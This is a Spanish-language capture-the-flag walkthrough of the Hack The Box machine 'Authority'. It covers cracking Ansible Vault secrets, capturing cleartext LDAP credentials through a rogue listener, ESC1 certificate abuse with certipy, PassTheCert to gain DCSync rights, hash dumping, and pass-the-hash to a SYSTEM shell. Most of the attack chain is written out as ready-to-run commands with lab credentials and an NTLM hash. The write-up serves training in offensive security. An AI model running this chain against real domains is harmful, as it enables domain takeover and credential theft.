Descripción

Authority es una máquina Windows de dificultad media en Hack The Box que pone a prueba nuestras habilidades en el manejo de Ansible, Active Directory y ADCS. Inicialmente, explotamos archivos de Ansible Vault para extraer credenciales que nos permiten acceder a un servicio PWM. Aprovechamos su configuración para forzar autenticaciones LDAP hacia nuestro servidor, obteniendo credenciales en texto plano. Con estos datos, accedemos a la máquina mediante WinRM y, tras enumerar ADCS, encontramos una plantilla vulnerable que nos permite realizar un ataque ESC1. Para explotarlo, añadimos un equipo falso al dominio y obtenemos un certificado con el cual realizamos un ataque Pass-The-Cert, escalando a administrador del controlador de dominio.

Enumeración

Comenzamos la resolución de la máquina Authority de HTB realizando tareas de enumeración.

Enumeración de puertos

nmap -p- --min-rate 1000 -Pn -n 10.10.11.222

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389 --min-rate 1000 -sVC -Pn -n 10.10.11.222

En el resultado del escaneo de NMAP, localizamos el nombre del dominio htb.corp. Vamos a registrar este dominio en el archivo /etc/hosts.

Enumeración Web

En el puerto 80 se está ejecutando un servidor Microsoft IIS y muestra una página por defecto para este servicio.

En el puerto 8443 se está ejecutando un servicio que puede ser interesante.

Se está ejecutando el proyecto pwn con la versión 2.0.3
Sabemos que se está ejecutando pero el servicio no parece vulenrable y no tenemos acceso a más funciones ya que no tenemos credenciales.

Enumeración SMB

netexec smb 10.10.11.222 --shares
netexec smb 10.10.11.222 -u guest -p '' --shares

El recurso «Deparment Shares» parece intersante pero no tenemos acceso.
Vamos a inspeccionar el recurso «Development»

smbclient -N //10.10.11.222/Development

Vamos a inspeccionar ADCS.

ADCS es un objetivo interesante pero necesitamos credenciales.
Descargamos todo el contenido en nuestra máquina de ataque.

Una vez descargado el contenido en nuestra máquina de ataque comenzamos a inspeccionar las diferentes carpetas.
Encontramos el siguiente archivo con contenido interesante.

cat Ansible/PWM/defaults/main.yml

Generamos tres archivos con las claves localizadas.

Explotación

Con la herramienta ansible2john convertimos los 3 hashes anteriores a formato john para poder descifrar posteriormente la clave vault.

john --wordlist=/home/kali/Downloads/rockyou.txt hash*

Ahora que hemos logrado extraer la clave de vault, vamos a usar esta key para obtener las password en texto plano de las claves obtenidas en el objetivo.

Si analizamos las claves localizadas podmeos detemrinar que hemos localziado las siguientes credenciales:

• svc_pwn:pWm_@dm!N_!23
• admin:DevT3st@123

Probamos las credenciales localizadas en las diferentes entradas de datos disponibles.

Accedemos al panel de administración anteiror con la contraseña «pWm_@dm!N_!23»
Después de ejecutar el test sobre el servicio LDAP, la plataforma muestra un mensaje de error en la configuración de LDAP.

En la imagen del panel de control vimos la existencia de la posibilidad de añadir URLs para realizar conexión remota a servicios de LDAP. Vamos a añadir nuestra dirección ip más el puerto 389 para realziar la conexión contra nuestra máquina de ataque.

En nuestra máquina de ataque, tenemos dos opciones. Podemos configurar un responder para capturar la conexión de LDAP o por otro lado, podemos configurar un oyente nc en el puerto 389.
Una vez realizada dicha configuración hacemos clic en «Test LDAP Profile» y recibiremos la conexión con la contraseña en nuestra máquina de ataque.

Credenciales:

• usuario: svc_ldap
• contarseña: lDaP_1n_th3_cle4r!

Comprobamos para que servicio son válidas estas credenciales:

netexec smb authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
netexec winrm authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!

Podemos comprobar que las credenciales son válidas tanto para SMB y WinRM. En este caso, vamos a acceder al objetivo a través de WinRM.
Accedemos al objetivo y vamos a por la flag user.txt

Elevación de privilegios

Comenzaremos revisando los privilegios del usuario actual.

whoami /all

Pero podemos comprobar que no dispone de privilegios interesantes.
En el directorio C:\ encontramos un directorio con un nombre un poco extraño «Certs». Veamos su contenido.

Puede estar relacionado con Certificados y ADCS.

nxc ldap 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -M adcs

Existe un servidor de certificados. Vamos a comprobar la existencia de vulnerabilidades y errores de configuración en el servicio de Certificados. Para ello, vamos a utilizar la herramienta Certify.exe. La transferimos al objetivo utilizando un servidor http Python.
Una vez cargado la máquina objetivo, ejecutamos de la siguiente forma:

./Certify.exe find /vulnerable

El nombre del certificado es «CorpVPN». Este tempalte es vulnerable a ESC1. ¿Por qué? Se presenta esta vulnerabilidad cuando ADCS está configurado para permitir que los usuarios con pocos privilegios se inscriban y puedan solicitar un certificado en nombre de cualquier objetivo de dominio.
Si la marca CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT está establecida en la propiedad, permite a la persona que solicita un certificado (inscrito) proporcionar su propio nombre de sujeto alternativo al crear una solicitud de firma de certificado. Esto implica que cualquier usuario con permiso para solicitar un certificado utilizando esta configuración puede solicitar esencialmente un certificado como si fuera cualquier usuario de la red.

Como no tenemos credenciales con privilegios elevados, comprobemos si podemos agregar una cuenta de computadora al dominio. De forma predeterminada, cuando se agrega una cuenta de equipo, esta pertenece al grupo Domain Computers. Para verificar esto, podemos utilizar la herramienta netexec de la siguiente manera:

nxc ldap 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -M maq

El parámetro MachineAccountQuota determina el número máximo de cuentas de equipo que se pueden crear dentro de un dominio específico. En este caso, el valor es 10, lo que indica que el usuario tiene permiso para agregar hasta diez cuentas de máquina al dominio.

Además, dado que el usuario posee este privilegio predeterminado, puede agregar cuentas de máquina al dominio. Para ello, podemos utilizar la herramienta Impacket con el módulo impacket-addcomputer.

impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name elhackeretico$ -computer-pass 123456

Dado que podemos solicitar un certificado como cualquier usuario, solicitaremos un ticket especificando el UPN (User Principal Name).
El siguiente paso será solicitar un certificado para la cuenta de máquina recién creada:

certipy-ad req -ca 'AUTHORITY-CA' -template 'CorpVPN' -username 'elhackeretico$@authority.htb' -password 'Password123!' -dns authority.authority.htb -target-ip 10.10.11.222 -upn 'administrator@authority.htb' -debug

Con el certificado almacenado en el archivo administrator_authority.pfx, deberíamos poder solicitar un ticket y obtener el NT Hash del usuario administrador.

Hay algunos trucos para evitar el error KRB_AP_ERP_SKEW, y una de las soluciones es utilizar la herramienta PassTheCert.

A veces, los controladores de dominio no son compatibles con PKINIT. Esto puede deberse a que sus certificados no incluyen el EKU (Extended Key Usage) de inicio de sesión con tarjeta inteligente. Sin embargo, varios protocolos, incluido LDAP, admiten Schannel, lo que permite la autenticación a través de TLS. Para aprovechar esto, se ha desarrollado una herramienta de prueba de concepto que permite autenticarse contra un servidor LDAP utilizando un certificado para realizar diferentes acciones de ataque.
Antes de utilizar esta técnica, primero debemos exportar la clave privada (KEY) y el certificado (CRT) desde el archivo PFX. Esto se puede hacer utilizando la herramienta Certipy con el siguiente comando:

certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator.key

Existen numerosas opciones para explotar utilizando PassTheCert. En este caso, usaremos el método que permite elevar un usuario para realizar un ataque DCSync.
El ataque DCSync nos permite simular el comportamiento de un controlador de dominio y solicitar los hashes NTLM de cualquier usuario en el dominio, incluyendo el administrador.
Para hacerlo, podemos otorgar privilegios al usuario para el que tenemos credenciales (svc_ldap) y luego ejecutar el ataque DCSync para recuperar el NT Hash del usuario administrador o de cualquier otra cuenta de interés.
Este método es especialmente útil cuando tenemos acceso a un certificado válido pero no podemos autenticarnos directamente con PKINIT.

python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -target 'svc_ldap' -elevate

Ahora, con la herramienta impacket-secretsdump podemos ejecutar un ataque de DCSync y volcar los hashes NTLM del objetivo.

impacket-secretsdump 'authority.htb/svc_ldap@10.10.11.222'

Una vez obtenido el hash NTLM del usuario administrator, vamos a comprobar donde podemos utilizar este hash:

nxc smb 10.10.11.222 -u 'administrator' -H '6961f422924da90a6928197429eea4ed'

Podemos obtener shell en el objetivo con privilegios elevados utilizando para ello impacket-psexec.

impacket-psexec authority.htb/administrator@authority.htb -dc-ip 10.10.11.222 -hashes ':6961f422924da90a6928197429eea4ed'

Solo quedará buscar la flag root.txt para finalizar la resolución de la máquina Authority.